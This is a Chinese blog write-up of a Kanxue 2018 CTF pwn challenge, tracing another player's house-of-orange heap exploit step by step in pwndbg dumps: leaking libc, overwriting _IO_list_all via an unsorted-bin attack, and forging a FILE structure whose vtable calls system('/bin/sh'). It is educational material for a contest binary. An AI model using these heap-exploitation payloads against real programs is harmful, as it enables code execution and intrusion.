美文网首页
看雪2018CTF第11题PWN-3pigs之qwertyaa的

看雪2018CTF第11题PWN-3pigs之qwertyaa的

作者: 静析机言 | 来源:发表于2019-05-10 12:23 被阅读0次

1. 概述

看雪2018CTF第11题的网址如下,感兴趣的朋友们可以下载试手。

https://ctf.pediy.com/game-fight-65.htm

此题保护全开

初始会分配内存(chunk_size=0xE20+0x10),专门画了一个猪头

功能分析:

——sub_1897:new pig。最多可创建3个:0,1,2。chunk_size=0xD0

漏洞:可以多写0x10个字节,可以修改下一个chunk的头部。

——sub_19FF:free功能正常。

——sub_1AA1:print pig。只能print一次,且只有new过的才能print

——sub_1B94:new fly pig。chunk_size=0x80,大小无法用来做fastbin attack修改__malloc_hook

——sub_1C52:edit fly pig。漏洞:修改addr+0x80的内容,可以修改下一个chunk的fd和bk。

本题利用的局限性很大,刚开始根本不知道怎么利用,看了各位大佬的wp才知道了house of orange。下面以qwertyaa提供的wp为例,展现调试过程及自己的理解,方便你我这样的小白共同成长。

https://bbs.pediy.com/thread-229647.htm

1).   secret()

pwndbg> x/10gx 0x000055986c0afe40-0x10

0x55986c0afe30:     0x0000000000000000     0x0000000000000081

0x55986c0afe40:     0x0000000000000000     0x0000000000000000

0x55986c0afe50:     0x0000000000000000     0x0000000000000000

0x55986c0afe60:     0x0000000000000000     0x0000000000000000

0x55986c0afe70:     0x0000000000000000     0x0000000000000000

2). create(2,'hello')

pwndbg> x/26gx 0x000055986c0afec0-0x10

0x55986c0afeb0:     0x0000000000000000     0x00000000000000d1

0x55986c0afec0:     0x694c206c6c616d53      0x0000000000000000

0x55986c0afed0:     0x0000006f6c6c6568       0x0000000000000000

0x55986c0afee0:     0x0000000000000000     0x0000000000000000

0x55986c0afef0:      0x0000000000000000     0x0000000000000000

0x55986c0aff00:      0x0000000000000000     0x0000000000000000

0x55986c0aff10:      0x0000000000000000     0x0000000000000000

0x55986c0aff20:      0x0000000000000000     0x0000000000000000

0x55986c0aff30:      0x0000000000000000     0x0000000000000000

0x55986c0aff40:      0x0000000000000000     0x0000000000000000

0x55986c0aff50:      0x0000000000000000     0x0000000000000000

0x55986c0aff60:      0x0000000000000000     0x0000000000000000

0x55986c0aff70:      0x0000000000000000     0x0000000000000000

3). secret()

pwndbg> x/10gx 0x000055986c0aff90-0x10

0x55986c0aff80:      0x0000000000000000     0x0000000000000081

0x55986c0aff90:      0x0000000000000000     0x0000000000000000

0x55986c0affa0:      0x0000000000000000     0x0000000000000000

0x55986c0affb0:      0x0000000000000000     0x0000000000000000

0x55986c0affc0:      0x0000000000000000     0x0000000000000000

4). create(1,'hi')

pwndbg> x/26gx 0x000055986c0b0010-0x10

0x55986c0b0000:    0x0000000000000000     0x00000000000000d1

0x55986c0b0010:    0x00796f4220646552      0x0000000000000000

0x55986c0b0020:    0x0000000000006968     0x0000000000000000

0x55986c0b0030:    0x0000000000000000     0x0000000000000000

0x55986c0b0040:    0x0000000000000000     0x0000000000000000

0x55986c0b0050:    0x0000000000000000     0x0000000000000000

0x55986c0b0060:    0x0000000000000000     0x0000000000000000

0x55986c0b0070:    0x0000000000000000     0x0000000000000000

0x55986c0b0080:    0x0000000000000000     0x0000000000000000

0x55986c0b0090:    0x0000000000000000     0x0000000000000000

0x55986c0b00a0:    0x0000000000000000     0x0000000000000000

0x55986c0b00b0:    0x0000000000000000     0x0000000000000000

0x55986c0b00c0:    0x0000000000000000     0x0000000000000000

5). create(0,"hi")

pwndbg> x/26gx 0x000055986c0b00e0-0x10

0x55986c0b00d0:    0x0000000000000000     0x00000000000000d1

0x55986c0b00e0:    0x000061754720654b     0x0000000000000000

0x55986c0b00f0:     0x0000000000006968     0x0000000000000000

0x55986c0b0100:    0x0000000000000000     0x0000000000000000

0x55986c0b0110:    0x0000000000000000     0x0000000000000000

0x55986c0b0120:    0x0000000000000000     0x0000000000000000

0x55986c0b0130:    0x0000000000000000     0x0000000000000000

0x55986c0b0140:    0x0000000000000000     0x0000000000000000

0x55986c0b0150:    0x0000000000000000     0x0000000000000000

0x55986c0b0160:    0x0000000000000000     0x0000000000000000

0x55986c0b0170:    0x0000000000000000     0x0000000000000000

0x55986c0b0180:    0x0000000000000000     0x0000000000000000

0x55986c0b0190:    0x0000000000000000     0x0000000000000000

6). delete(1)

pwndbg> x/26gx 0x000055986c0b0010-0x10

0x55986c0b0000:    0x0000000000000000     0x00000000000000d1

0x55986c0b0010:    0x00007f0ca8a80b78      0x00007f0ca8a80b78

0x55986c0b0020:    0x0000000000006968     0x0000000000000000

0x55986c0b0030:    0x0000000000000000     0x0000000000000000

0x55986c0b0040:    0x0000000000000000     0x0000000000000000

0x55986c0b0050:    0x0000000000000000     0x0000000000000000

0x55986c0b0060:    0x0000000000000000     0x0000000000000000

0x55986c0b0070:    0x0000000000000000     0x0000000000000000

0x55986c0b0080:    0x0000000000000000     0x0000000000000000

0x55986c0b0090:    0x0000000000000000     0x0000000000000000

0x55986c0b00a0:    0x0000000000000000     0x0000000000000000

0x55986c0b00b0:    0x0000000000000000     0x0000000000000000

0x55986c0b00c0:    0x0000000000000000     0x0000000000000000

 

由于不与top chunk相连,且size=0xD0,所以待释放空间放入unsorted bin中。

pwndbg> bin

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all: 0x55986c0b0000 —▸ 0x7f0ca8a80b78 (main_arena+88) ◂—0x55986c0b0000

smallbins

empty

largebins

empty

7). delete(2)

pwndbg> x/26gx 0x000055986c0afec0-0x10

0x55986c0afeb0:     0x0000000000000000     0x00000000000000d1

0x55986c0afec0:     0x000055986c0b0000     0x00007f0ca8a80b78

0x55986c0afed0:     0x0000006f6c6c6568       0x0000000000000000

0x55986c0afee0:     0x0000000000000000     0x0000000000000000

0x55986c0afef0:      0x0000000000000000     0x0000000000000000

0x55986c0aff00:      0x0000000000000000     0x0000000000000000

0x55986c0aff10:      0x0000000000000000     0x0000000000000000

0x55986c0aff20:      0x0000000000000000     0x0000000000000000

0x55986c0aff30:      0x0000000000000000     0x0000000000000000

0x55986c0aff40:      0x0000000000000000     0x0000000000000000

0x55986c0aff50:      0x0000000000000000     0x0000000000000000

0x55986c0aff60:      0x0000000000000000     0x0000000000000000

0x55986c0aff70:      0x0000000000000000     0x0000000000000000

同理,放入unsorted bin中。

pwndbg> bin

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all: 0x55986c0afeb0 —▸ 0x55986c0b0000 —▸0x7f0ca8a80b78 (main_arena+88) ◂—0x55986c0afeb0

smallbins

empty

largebins

empty

8).  create(2,"\x00")

unsortedbin遵循先进先出的原则进行分配。

疑问:为什么此时bk位置会有heap上的地址0x000055986c0afeb0?

pwndbg> x/26gx 0x000055986c0b0010-0x10

0x55986c0b0000:    0x0000000000000000     0x00000000000000d1

0x55986c0b0010:    0x694c206c6c616d53      0x000055986c0afeb0

0x55986c0b0020:    0x0000000000000000     0x0000000000000000

0x55986c0b0030:    0x0000000000000000     0x0000000000000000

0x55986c0b0040:    0x0000000000000000     0x0000000000000000

0x55986c0b0050:    0x0000000000000000     0x0000000000000000

0x55986c0b0060:    0x0000000000000000     0x0000000000000000

0x55986c0b0070:    0x0000000000000000     0x0000000000000000

0x55986c0b0080:    0x0000000000000000     0x0000000000000000

0x55986c0b0090:    0x0000000000000000     0x0000000000000000

0x55986c0b00a0:    0x0000000000000000     0x0000000000000000

0x55986c0b00b0:    0x0000000000000000     0x0000000000000000

0x55986c0b00c0:    0x0000000000000000     0x0000000000000000

pwndbg> bin

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all: 0x55986c0afeb0 —▸ 0x7f0ca8a80b78 (main_arena+88) ◂—0x55986c0afeb0

smallbins

empty

largebins

empty

9). delete(0)

待释放空间与top chunk合并

0x55986c0b00d0:    0x00000000000000d0     0x000000000001ff31

0x55986c0b00e0:    0x000061754720654b     0x0000000000000000

0x55986c0b00f0:     0x0000000000006968     0x0000000000000000

0x55986c0b0100:    0x0000000000000000     0x0000000000000000

0x55986c0b0110:    0x0000000000000000     0x0000000000000000

0x55986c0b0120:    0x0000000000000000     0x0000000000000000

0x55986c0b0130:    0x0000000000000000     0x0000000000000000

0x55986c0b0140:    0x0000000000000000     0x0000000000000000

0x55986c0b0150:    0x0000000000000000     0x0000000000000000

0x55986c0b0160:    0x0000000000000000     0x0000000000000000

0x55986c0b0170:    0x0000000000000000     0x0000000000000000

0x55986c0b0180:    0x0000000000000000     0x0000000000000000

0x55986c0b0190:    0x0000000000000000     0x0000000000000000

10). delete(2)

待释放空间与top chunk合并

pwndbg> x/26gx 0x000055986c0b0010-0x10

0x55986c0b0000:    0x0000000000000000     0x0000000000020001

0x55986c0b0010:    0x694c206c6c616d53      0x000055986c0afeb0

0x55986c0b0020:    0x0000000000000000     0x0000000000000000

0x55986c0b0030:    0x0000000000000000     0x0000000000000000

0x55986c0b0040:    0x0000000000000000     0x0000000000000000

0x55986c0b0050:    0x0000000000000000     0x0000000000000000

0x55986c0b0060:    0x0000000000000000     0x0000000000000000

0x55986c0b0070:    0x0000000000000000     0x0000000000000000

0x55986c0b0080:    0x0000000000000000     0x0000000000000000

0x55986c0b0090:    0x0000000000000000     0x0000000000000000

0x55986c0b00a0:    0x0000000000000000     0x0000000000000000

0x55986c0b00b0:    0x0000000000000000     0x0000000000000000

0x55986c0b00c0:    0x0000000000000000     0x0000000000000000

11). create(2,"endFlag")

分配unsortedbin中的堆

pwndbg> x/26gx 0x000055986c0afec0-0x10

0x55986c0afeb0:     0x0000000000000000     0x00000000000000d1

0x55986c0afec0:     0x694c206c6c616d53      0x00007f0ca8a80b78

0x55986c0afed0:     0x0067616c46646e65     0x0000000000000000

0x55986c0afee0:     0x0000000000000000     0x0000000000000000

0x55986c0afef0:      0x0000000000000000     0x0000000000000000

0x55986c0aff00:      0x0000000000000000     0x0000000000000000

0x55986c0aff10:      0x0000000000000000     0x0000000000000000

0x55986c0aff20:      0x0000000000000000     0x0000000000000000

0x55986c0aff30:      0x0000000000000000     0x0000000000000000

0x55986c0aff40:      0x0000000000000000     0x0000000000000000

0x55986c0aff50:      0x0000000000000000     0x0000000000000000

0x55986c0aff60:      0x0000000000000000     0x0000000000000000

0x55986c0aff70:      0x0000000000000000     0x0000000000000000

pwndbg> hex 0x000055986c0afec0 0x100

+0000 0x55986c0afec0  53 6d 61 6c 6c 20 4c 69  78 0b a8 a8  0c 7f 00 00 │Smal│l.Li│x...│....│

+0010 0x55986c0afed0  65 6e 64 46 6c 61 67 00  00 00 00 00  00 00 00 00 │endF│lag.│....│....│

+0020 0x55986c0afee0  00 00 00 00 00 00 00 00  00 00 00 00  00 00 00 00 │....│....│....│....│

...

+00c0 0x55986c0aff80  d0 00 00 00 00 00 00 00  81 00 00 00 00 00 00 00 │....│....│....│....│

+00d0 0x55986c0aff90  00 00 00 00 00 00 00 00  00 00 00 00  00 00 00 00 │....│....│....│....│

...

12). create(1,"endFlag")

pwndbg> x/26gx 0x000055986c0b0010-0x10

0x55986c0b0000:    0x0000000000000000     0x00000000000000d1

0x55986c0b0010:    0x69796f4220646552      0x000055986c0afeb0

0x55986c0b0020:    0x0067616c46646e65     0x0000000000000000

0x55986c0b0030:    0x0000000000000000     0x0000000000000000

0x55986c0b0040:    0x0000000000000000     0x0000000000000000

0x55986c0b0050:    0x0000000000000000     0x0000000000000000

0x55986c0b0060:    0x0000000000000000     0x0000000000000000

0x55986c0b0070:    0x0000000000000000     0x0000000000000000

0x55986c0b0080:    0x0000000000000000     0x0000000000000000

0x55986c0b0090:    0x0000000000000000     0x0000000000000000

0x55986c0b00a0:    0x0000000000000000     0x0000000000000000

0x55986c0b00b0:    0x0000000000000000     0x0000000000000000

0x55986c0b00c0:    0x0000000000000000     0x0000000000000000

pwndbg> hex 0x000055986c0b0010 0x100

+0000 0x55986c0b0010  52 65 64 20 42 6f 79 69  b0 fe 0a 6c  98 55 00 00 │Red.│Boyi│...l│.U..│

+0010 0x55986c0b0020  65 6e 64 46 6c 61 67 00  00 00 00 00  00 00 00 00 │endF│lag.│....│....│

+0020 0x55986c0b0030  00 00 00 00 00 00 00 00  00 00 00 00  00 00 00 00 │....│....│....│....│

...

+00c0 0x55986c0b00d0  d0 00 00 00 00 00 00 00  31 ff 01 00  00 00 00 00 │....│....│1...│....│

+00d0 0x55986c0b00e0  4b 65 20 47 75 61 00 00  00 00 00 00  00 00 00 00 │Ke.G│ua..│....│....│

+00e0 0x55986c0b00f0  68 69 00 00 00 00 00 00  00 00 00 00  00 00 00 00 │hi..│....│....│....│

+00f0 0x55986c0b0100  00 00 00 00 00 00 00 00  00 00 00 00  00 00 00 00 │....│....│....│....│

ct=show()

pig0还没分配

pig1的数据??不清楚堆地址怎么生成的?

pwndbg> hex 0x000055986c0b0010 0x100

+0000 0x55986c0b0010  52 65 64 20 42 6f 79 69  b0 fe 0a 6c  98 55 0000  │Red.│Boyi│...l│.U..│

+0010 0x55986c0b0020  65 6e 64 46 6c 61 67 00  00 00 00 00  00 00 00 00 │endF│lag.│....│....│

+0020 0x55986c0b0030  00 00 00 00 00 00 00 00  00 00 00 00  00 00 00 00 │....│....│....│....│

...

pig2的数据

pwndbg> hex 0x000055986c0afec0-0x100x100

+0000 0x55986c0afeb0  00 00 00 00 00 00 00 00  d1 00 00 00  00 00 00 00 │....│....│....│....│

+0010 0x55986c0afec0  53 6d 61 6c 6c 20 4c 69  78 0b a8 a8  0c 7f 0000  │Smal│l.Li│x...│....│

+0020 0x55986c0afed0  65 6e 64 46 6c 61 67 00  00 00 00 00  00 00 00 00 │endF│lag.│....│....│

+0030 0x55986c0afee0  00 00 00 00 00 00 00 00  00 00 00 00  00 00 00 00 │....│....│....│....│

求出libc_base和heap base

由main_arena+88=0x7f0ca8a80b78  --> libc_base = 0x7f0ca86bc000

由0x55986c0afeb0 – 0xeb0 =heap_base = 0x55986c0af000   ???

(作者的解释:具体值本地cat maps后得出,因为肯定是固定的)

进而算出system、_IO_list_all的地址

sysp=libc_base+dlc.symbols['system']

ilap=libc_base+dlc.symbols['_IO_list_all']   #IO_list_all

13). delete(2)

放入unsortedbin中

pwndbg> bin

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all: 0x55986c0afeb0 —▸ 0x7f0ca8a80b78 (main_arena+88) ◂—0x55986c0afeb0

smallbins

empty

largebins

empty

14). delete(1)

待释放空间放入top chunk中

pwndbg> x/30gx 0x000055986c0b0010-0x10

0x55986c0b0000:    0x0000000000000000     0x0000000000020001

0x55986c0b0010:    0x69796f4220646552      0x000055986c0afeb0

0x55986c0b0020:    0x0067616c46646e65     0x0000000000000000

0x55986c0b0030:    0x0000000000000000     0x0000000000000000

0x55986c0b0040:    0x0000000000000000     0x0000000000000000

0x55986c0b0050:    0x0000000000000000     0x0000000000000000

0x55986c0b0060:    0x0000000000000000     0x0000000000000000

0x55986c0b0070:    0x0000000000000000     0x0000000000000000

0x55986c0b0080:    0x0000000000000000     0x0000000000000000

0x55986c0b0090:    0x0000000000000000     0x0000000000000000

0x55986c0b00a0:    0x0000000000000000     0x0000000000000000

0x55986c0b00b0:    0x0000000000000000     0x0000000000000000

0x55986c0b00c0:    0x0000000000000000     0x0000000000000000

0x55986c0b00d0:    0x00000000000000d0     0x000000000001ff31

0x55986c0b00e0:    0x000061754720654b     0x0000000000000000

15) multiSecret(2)

(1)第1次secret

从unsorted bin里分配堆,将剩余的堆空间放入unsortedbin中

pwndbg> x/26gx  0x55986c0afeb0

0x55986c0afeb0:     0x0000000000000000     0x0000000000000081

0x55986c0afec0:     0x00007f0ca8a80c38       0x00007f0ca8a80c38

0x55986c0afed0:     0x0067616c46646e65     0x0000000000000000

0x55986c0afee0:     0x0000000000000000     0x0000000000000000

0x55986c0afef0:      0x0000000000000000     0x0000000000000000

0x55986c0aff00:      0x0000000000000000     0x0000000000000000

0x55986c0aff10:      0x0000000000000000     0x0000000000000000

0x55986c0aff20:      0x0000000000000000     0x0000000000000000

0x55986c0aff30:      0x0000000000000000     0x0000000000000051

0x55986c0aff40:      0x00007f0ca8a80b78      0x00007f0ca8a80b78

0x55986c0aff50:      0x0000000000000000     0x0000000000000000

0x55986c0aff60:      0x0000000000000000     0x0000000000000000

0x55986c0aff70:      0x0000000000000000     0x0000000000000000

pwndbg> bin

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all: 0x55986c0aff30 —▸ 0x7f0ca8a80b78 (main_arena+88) ◂—0x55986c0aff30

smallbins

empty

largebins

empty

(2)第2次secret

unsortedbin的堆块大小不够分,仍然在unsortedbin中

pwndbg> x/16gx 0x000055986c0b0010-0x10

0x55986c0b0000:    0x0000000000000000     0x0000000000000081

0x55986c0b0010:    0x69796f4220646552      0x000055986c0afeb0

0x55986c0b0020:    0x0067616c46646e65     0x0000000000000000

0x55986c0b0030:    0x0000000000000000     0x0000000000000000

0x55986c0b0040:    0x0000000000000000     0x0000000000000000

0x55986c0b0050:    0x0000000000000000     0x0000000000000000

0x55986c0b0060:    0x0000000000000000     0x0000000000000000

0x55986c0b0070:    0x0000000000000000     0x0000000000000000

pwndbg> bin

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all: 0x0

smallbins

0x50: 0x55986c0aff30 —▸ 0x7f0ca8a80bb8 (main_arena+152) ◂—0x55986c0aff30

largebins

empty

#Attack

上述的操作,用来确保接下来申请的内存都在top_chunk中进行。

:由于调试不是一次完成的,因此记录的地址可能前后不一致,但不影响阅读。后3个字节的地址还是保持不变的。

16) create(0,'0'*(0x80-0x10-0x10)+"/bin/sh\x00"+p64(0)*3+p64(2)+p64(3))#pre0x58

pwndbg> x/26gx 0x00005575b6e33090-0x10

0x5575b6e33080:    0x0000000000000000     0x00000000000000d1

0x5575b6e33090:    0x000061754720654b     0x0000000000000000

0x5575b6e330a0:    0x3030303030303030     0x3030303030303030

0x5575b6e330b0:    0x3030303030303030     0x3030303030303030

0x5575b6e330c0:    0x3030303030303030     0x3030303030303030

0x5575b6e330d0:    0x3030303030303030     0x3030303030303030

0x5575b6e330e0:    0x3030303030303030     0x3030303030303030

0x5575b6e330f0:     0x3030303030303030     0x3030303030303030

0x5575b6e33100:    0x0068732f6e69622f       0x0000000000000000    #/bin/sh

0x5575b6e33110:    0x0000000000000000     0x0000000000000000

0x5575b6e33120:    0x0000000000000002     0x0000000000000003

0x5575b6e33130:    0x0000000000000000     0x0000000000000000

0x5575b6e33140:    0x0000000000000000     0x0000000000000000

17) create(1,p64(0)*1+p64(sysp)+"\x00"*0x40+p64(0)*3+p64(he+0x1080+0x80+12*8))#st+0x60

pwndbg> x/26gx 0x00005575b6e33160-0x10

0x5575b6e33150:    0x0000000000000000     0x00000000000000d1

0x5575b6e33160:    0x00796f4220646552      0x0000000000000000

0x5575b6e33170:    0x0000000000000000     0x00007fd1a3e08390   #system

0x5575b6e33180:    0x0000000000000000     0x0000000000000000

0x5575b6e33190:    0x0000000000000000     0x0000000000000000

0x5575b6e331a0:    0x0000000000000000     0x0000000000000000

0x5575b6e331b0:    0x0000000000000000     0x0000000000000000

0x5575b6e331c0:    0x0000000000000000     0x0000000000000000

0x5575b6e331d0:    0x0000000000000000     0x00005575b6e33160   #实验了,此处可为任意值。不清楚在设置设为堆的地址干什么?

0x5575b6e331e0:    0x0000000000000000     0x0000000000000000

0x5575b6e331f0:     0x0000000000000000     0x0000000000000000

0x5575b6e33200:    0x0000000000000000     0x0000000000000000

0x5575b6e33210:    0x0000000000000000     0x0000000000000000

18) create(2,"hi")

pwndbg> x/26gx 0x00005575b6e33230-0x10

0x5575b6e33220:    0x0000000000000000     0x00000000000000d1

0x5575b6e33230:    0x694c206c6c616d53      0x0000000000000000

0x5575b6e33240:    0x0000000000006968     0x0000000000000000

0x5575b6e33250:    0x0000000000000000     0x0000000000000000

0x5575b6e33260:    0x0000000000000000     0x0000000000000000

0x5575b6e33270:    0x0000000000000000     0x0000000000000000

0x5575b6e33280:    0x0000000000000000     0x0000000000000000

0x5575b6e33290:    0x0000000000000000     0x0000000000000000

0x5575b6e332a0:    0x0000000000000000     0x0000000000000000

0x5575b6e332b0:    0x0000000000000000     0x0000000000000000

0x5575b6e332c0:    0x0000000000000000     0x0000000000000000

0x5575b6e332d0:    0x0000000000000000     0x0000000000000000

0x5575b6e332e0:    0x0000000000000000     0x0000000000000000

19) secret()

pwndbg> x/16gx 0x00005575b6e33300-0x10

0x5575b6e332f0:     0x0000000000000000     0x0000000000000081

0x5575b6e33300:    0x0000000000000000     0x0000000000000000

0x5575b6e33310:    0x0000000000000000     0x0000000000000000

0x5575b6e33320:    0x0000000000000000     0x0000000000000000

0x5575b6e33330:    0x0000000000000000     0x0000000000000000

0x5575b6e33340:    0x0000000000000000     0x0000000000000000

0x5575b6e33350:    0x0000000000000000     0x0000000000000000

0x5575b6e33360:    0x0000000000000000     0x0000000000000000

20) delete(2)

待释放的堆块放入unsortedbin中,原来放入unsortedbin中的重新整理后放入smallbins[0x50]

pwndbg> bin

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all: 0x5575b6e33220 —▸ 0x7fd1a4187b78 (main_arena+88) ◂—0x5575b6e33220

smallbins

0x50: 0x5575b6e32f30 —▸ 0x7fd1a4187bb8 (main_arena+152) ◂—0x5575b6e32f30

largebins

empty

21) delete(1)

待释放的块与原unsortedbin中的块相连,合并后重新放入unsortedbin中

wndbg> bin

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all: 0x5575b6e33150 —▸ 0x7fd1a4187b78 (main_arena+88) ◂—0x5575b6e33150

smallbins

0x50: 0x5575b6e32f30 —▸ 0x7fd1a4187bb8 (main_arena+152) ◂—0x5575b6e32f30

largebins

empty

# size=0xD0+0xD0=0x1A0

pwndbg> x/10gx 0x5575b6e33150

0x5575b6e33150:    0x0000000000000000     0x00000000000001a1

0x5575b6e33160:    0x00007fd1a4187b78      0x00007fd1a4187b78

0x5575b6e33170:    0x0000000000000000     0x00007fd1a3e08390

0x5575b6e33180:    0x0000000000000000     0x0000000000000000

0x5575b6e33190:    0x0000000000000000     0x0000000000000000

22) delete(0)

待释放的块与原unsortedbin中的块相连,合并后重新放入unsortedbin中

pwndbg> bin

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all: 0x5575b6e33080 —▸ 0x7fd1a4187b78 (main_arena+88) ◂—0x5575b6e33080

smallbins

0x50: 0x5575b6e32f30 —▸ 0x7fd1a4187bb8 (main_arena+152) ◂—0x5575b6e32f30

largebins

empty

# size=0x1A0+0xD0=0x270

pwndbg> x/10gx 0x5575b6e33080

0x5575b6e33080:    0x0000000000000000     0x0000000000000271

0x5575b6e33090:    0x00007fd1a4187b78      0x00007fd1a4187b78

0x5575b6e330a0:    0x3030303030303030     0x3030303030303030

0x5575b6e330b0:    0x3030303030303030     0x3030303030303030

0x5575b6e330c0:    0x3030303030303030     0x3030303030303030

23) secret()

pwndbg> x/20gx 0x00005575b6e33090-0x10

0x5575b6e33080:    0x0000000000000000     0x0000000000000081

0x5575b6e33090:    0x00007fd1a4187dd8      0x00007fd1a4187dd8

0x5575b6e330a0:    0x3030303030303030     0x3030303030303030

0x5575b6e330b0:    0x3030303030303030     0x3030303030303030

0x5575b6e330c0:    0x3030303030303030     0x3030303030303030

0x5575b6e330d0:    0x3030303030303030     0x3030303030303030

0x5575b6e330e0:    0x3030303030303030     0x3030303030303030

0x5575b6e330f0:     0x3030303030303030     0x3030303030303030

0x5575b6e33100:    0x0068732f6e69622f       0x00000000000001f1

0x5575b6e33110:    0x00007fd1a4187b78      0x00007fd1a4187b78

原来unsortedbin中0x5575b6e33080切掉0x80分给secret后,剩余的0x5575b6e33100放入unsortedbin中

unsortedbin

all: 0x5575b6e33100 —▸ 0x7fd1a4187b78 (main_arena+88) ◂—0x5575b6e33100

16-23步对应的内存布局如下

24) editSecret(p64(lc+0x3C4B78)+p64(ilap-0x10)[:7])

修改下一个chunk的bk指针,为了house of orange利用时将_IO_list_all指向main_arena+88=0x00007fd1a4187b78

pwndbg> x/20gx 0x00005575b6e33090-0x10

0x5575b6e33080:    0x0000000000000000     0x0000000000000081

0x5575b6e33090:    0x00007fd1a4187dd8      0x00007fd1a4187dd8

0x5575b6e330a0:    0x3030303030303030     0x3030303030303030

0x5575b6e330b0:    0x3030303030303030     0x3030303030303030

0x5575b6e330c0:    0x3030303030303030     0x3030303030303030

0x5575b6e330d0:    0x3030303030303030     0x3030303030303030

0x5575b6e330e0:    0x3030303030303030     0x3030303030303030

0x5575b6e330f0:     0x3030303030303030     0x3030303030303030

0x5575b6e33100:    0x0068732f6e69622f       0x00000000000001f1

0x5575b6e33110:    0x00007fd1a4187b78      0x00007fd1a4188510

unsortedbin

all [corrupted]

FD: 0x5575b6e33100 —▸ 0x7fd1a4187b78 (main_arena+88) ◂—0x5575b6e33100

BK: 0x5575b6e33100 —▸ 0x7fd1a4188510 ◂—0x0

smallbins

0x50: 0x5575b6e32f30 —▸ 0x7fd1a4187bb8 (main_arena+152) ◂—0x5575b6e32f30

largebins

empty

25) secret()

触发一个申请chunk_size=0x80的空间操作,实施house of orange的后半段攻击。跟踪malloc.c中的_int_malloc

1)修改_IO_list_all指向

unsorted_chunks (av)->bk = bck;

bck->fd = unsorted_chunks (av);

pwndbg> x/gx &_IO_list_all

0x7f32cbfba520 <_IO_list_all>:       0x00007f32cbfb9b78

2)将0x55bf8e8ba100放入smallbins[0x1f0],此时*((main_arena+88)+0x1f0)= 0x55bf8e8ba100

mark_bin (av, victim_index);

victim->bk = bck;

victim->fd = fwd;

fwd->bk = victim;

bck->fd = victim;

pwndbg> bin

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all [corrupted]

FD: 0x55bf8e8ba100 —▸ 0x7f32cbfb9d58 (main_arena+568) ◂—0x55bf8e8ba100

BK: 0x7f32cbfba510 ◂—0x0

smallbins

0x50: 0x55bf8e8b9f30 —▸ 0x7f32cbfb9bb8 (main_arena+152) ◂—0x55bf8e8b9f30

0x1f0: 0x55bf8e8ba100 —▸ 0x7f32cbfb9d58 (main_arena+568) ◂—0x55bf8e8ba100

largebins

empty

从_IO_flush_all_lockp的代码可以看出,首先fp = (_IO_FILE *) _IO_list_all,然后通过

fp =fp->_chain不断地寻找下一个_IO_FILE,

只要fp满足

fp->_mode <= 0 && fp->_IO_write_ptr >fp->_IO_write_base

就能执行到_IO_OVERFLOW,从而转入设定的system(‘/bin/sh’)

本文的利用相比于https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c而言稍稍变换了一下形式。

github代码是直接将unsorted bin中的堆块头部的size改成了0x61,让执行_int_malloc时将unsortedbin的堆块放入smallbins[0x60]中,从而控制fp->chain的走向。而本题并没修改unsortedbin中堆块的size,因此_int_malloc在整理unsortedbin的块时,将其挪到了smallbins[0x1F0]。但利用本质并没有变化,只是让fp多了几次fp->chain的搜索而已,最终fp->chain会等于0x55bf8e8ba100(即为我们控制的unsortedbin)。

下面直接截图来说明

p (*(struct _IO_FILE *) 0x7f32cbfb9b78)

ok,现在fp->chain=0x55bf8e8ba100,查看下它将vtable改成啥了。

p (*(struct _IO_FILE_plus *) 0x55bf8e8ba100)

其中fp->mode=0, fp->_IO_write_ptr=3, fp->_IO_write_base=2,满足执行_IO_OVERFLOW的前置条件。

vtable指向0x55bf8e8ba160。

p (*(struct _IO_jump_t *) 0x55bf8e8ba160)

__overflow指向了libc_system。

fp=0x55bf8e8ba100的头部指向/bin/sh。因此,_IO_OVERFLOW(fp, EOF)相当于执行system(‘/bin/sh’)

2. 总结

发现qwertyaa与其他大佬的解法不同:没有利用house of orange中的前半段关于top_chunk不够分调用sysmalloc产生一个unsortedbin,仅使用了后半段修改一个unsortedbin和最后申请一个空间的操作。用程序本身的功能直接free出unsorted bin。

跟踪调试后,还是存在一个疑问:不知道基于什么原理才会泄露一个堆地址?且发现exp中的

create(1,p64(0)*1+p64(sysp)+"\x00"*0x40+p64(0)*3+p64(he+0x1080+0x80+12*8))

中给出的这个堆地址没有啥具体作用,house of orange用不到该堆地址。

后来我自己将exp脚本中的这句改成:

create(1,p64(0)*1+p64(sysp)+"\x00"*0x40+p64(0)*4)

也可完美利用。因而引出结论:没必要泄露堆地址,根本用不着。

记录在此,说不定哪天自己就都搞清楚了呢:-)

相关文章

网友评论

      本文标题:看雪2018CTF第11题PWN-3pigs之qwertyaa的

      本文链接:https://www.haomeiwen.com/subject/tbnooqtx.html